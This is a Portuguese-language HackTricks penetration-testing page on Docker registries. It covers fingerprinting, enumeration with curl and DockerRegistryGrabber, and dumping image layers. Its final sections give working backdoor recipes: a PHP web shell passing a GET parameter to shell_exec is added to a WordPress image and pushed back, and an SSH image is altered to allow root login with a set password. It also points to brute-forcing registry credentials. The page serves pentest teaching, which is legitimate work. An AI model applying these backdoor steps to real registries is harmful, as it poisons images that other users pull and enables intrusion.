hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md
2023-06-06 18:56:34 +00:00

16 KiB

5000 - Teste de penetração no Docker Registry

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informações básicas

Informações retiradas da qui.

Um registro Docker é um sistema de armazenamento e distribuição para imagens Docker nomeadas. A mesma imagem pode ter várias versões diferentes, identificadas por suas tags.
Um registro Docker é organizado em repositórios Docker, onde um repositório contém todas as versões de uma imagem específica. O registro permite que os usuários do Docker baixem imagens localmente, bem como enviem novas imagens para o registro (dadas as permissões de acesso adequadas, quando aplicável).

Por padrão, o mecanismo Docker interage com o DockerHub, a instância pública do registro do Docker. No entanto, é possível executar localmente o registro/distribuição Docker de código aberto, bem como uma versão com suporte comercial chamada Docker Trusted Registry. Existem outros registros públicos disponíveis online.

Para baixar uma imagem de um registro local, você pode executar um comando semelhante a:

docker pull my-registry:9000/foo/bar:2.1

Se você deseja puxar a versão da imagem foo/bar com a tag 2.1 do nosso registro localizado no domínio my-registry e na porta 9000, você pode executar o seguinte comando:

docker pull my-registry:9000/foo/bar:2.1

Se você estivesse usando o DockerHub e a versão 2.1 também fosse a mais recente, você poderia executar este comando para puxar a mesma imagem localmente:

docker pull foo/bar:2.1
docker pull foo/bar

Porta padrão: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Descoberta

A maneira mais fácil de descobrir se este serviço está em execução é encontrá-lo na saída do nmap. De qualquer forma, observe que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará.
Algumas impressões digitais:

  • Se você acessar /, nada será retornado na resposta
  • Se você acessar /v2/, então {} é retornado
  • Se você acessar /v2/_catalog, você pode obter:
    • {"repositories":["alpine","ubuntu"]}
    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeração

HTTP/HTTPS

O registro do Docker pode ser configurado para usar HTTP ou HTTPS. Então, a primeira coisa que você pode precisar fazer é descobrir qual está sendo configurado:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Autenticação

O registro do Docker também pode ser configurado para exigir autenticação:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Se o Docker Registry estiver exigindo autenticação, você pode tentar forçar a entrada usando isso (../generic-methodologies-and-resources/brute-force.md#docker-registry).
Se você encontrar credenciais válidas, precisará usá-las para enumerar o registro, no curl você pode usá-las assim:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeração usando DockerRegistryGrabber

DockerRegistryGrabber é uma ferramenta em python para enumerar / despejar registros do docker (com ou sem autenticação básica).

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeração usando curl

Uma vez que você obteve acesso ao registro do Docker, aqui estão alguns comandos que você pode usar para enumerá-lo:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

{% hint style="warning" %} Observe que, ao baixar e descompactar os arquivos blobs, arquivos e pastas aparecerão no diretório atual. Se você baixar todos os blobs e descompactá-los na mesma pasta, eles sobrescreverão os valores dos blobs previamente descompactados, portanto, tenha cuidado. Pode ser interessante descompactar cada blob em uma pasta diferente para inspecionar o conteúdo exato de cada blob. {% endhint %}

Enumeração usando docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB              
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B                  
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B                  
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B                
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB       

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Inserindo backdoor em imagem do WordPress

No cenário em que você encontrou um Docker Registry salvando uma imagem do WordPress, você pode inserir um backdoor.
Crie o backdoor:

{% code title="shell.php" %}

<?php echo shell_exec($_GET["cmd"]); ?>

{% endcode %}

Crie um Dockerfile:

{% code title="Dockerfile" %}

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

{% endcode %}

Crie a nova imagem, verifique se ela foi criada e envie a imagem:

docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push registry:5000/wordpress #Push it

Inserindo backdoor na imagem do servidor SSH

Suponha que você tenha encontrado um Docker Registry com uma imagem SSH e deseja inserir um backdoor nela.
Baixe a imagem e execute:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Extrair o arquivo sshd_config da imagem SSH:

docker cp 4c989242c714:/etc/ssh/sshd_config .

E modifique para definir: PermitRootLogin yes

Crie um Dockerfile como o seguinte:

{% tabs %} {% tab title="Dockerfile" %}

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

{% endtab %} {% endtabs %}

Crie a nova imagem, verifique se ela foi criada e envie a imagem:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥